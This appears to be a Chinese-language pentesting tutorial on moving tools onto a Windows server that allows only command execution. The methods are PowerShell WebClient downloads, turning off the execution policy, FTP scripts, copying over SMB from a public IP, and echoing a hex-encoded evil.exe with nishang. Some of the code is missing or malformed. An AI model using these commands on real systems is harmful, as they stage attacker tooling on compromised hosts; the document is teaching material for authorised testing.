我們在做滲透測試的時候會經常遇到存在命令執行的Windows服務器,而且不能上傳shell,唯一的入口就是命令執行,這種情況下,我們需要向服務器上傳一個大一點的工具,如何實現,這就是本文章主要的內容。
利用http協議下載文件
利用vbs下載
將下面的代碼保存爲test.vbs
執行如下語句:
cscript test.vbs
利用powershell下載
將如下代碼保存爲test.ps1
$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")
執行.test.ps1
有的時候PowerShell的執行權限會被關閉,需要使用如下的語句打開。
powershell set-executionpolicy unrestricted
利用ftp協議下載文件
1 創建一個ftp服務器,或者使用公共的ftp服務器
2 將下面的代碼保存爲test.txt
ftp 127.0.0.1
username
password
get fileexit
3 執行下面的命令
ftp -s:test.txt
利用smb協議拷貝文件
1 在公網創建一個共享如:\111.111.111.111test$
2 命令行下執行net use \111.111.111.111test$ /u:test test
3 最後上傳文件到共享,命令行下拷貝:copy \111.111.111.111test$test.exe c:\
利用echo直接寫文件
使用nishang的powershell工具包對上傳的文件進行處理,然後使用echo到文件中,最後再轉爲原始文件。
下載地址:https://github.com/samratashok/nishang
具體操作步驟:
1 將文件轉爲hex
PS > .\ExetoText.ps1 evil.exe evil.txt
2 將hex的值echo到文件中
3 將hex轉爲原始文件
PS > .\TexttoExe.ps1 evil.text evil.exe
總結
這幾種方式的利用場景是在我們發現一個服務器存在命令執行,而且還是一臺Windows,在不依賴其他工具的前提下,使用Windows自帶的命令將我們需要的工具上傳到服務器的姿勢。以上的腳本文件都可以使用echo 的方式保存到服務器上,然後再利用這些姿勢上傳大一點的工具等文件。歡迎大家補充各種姿勢。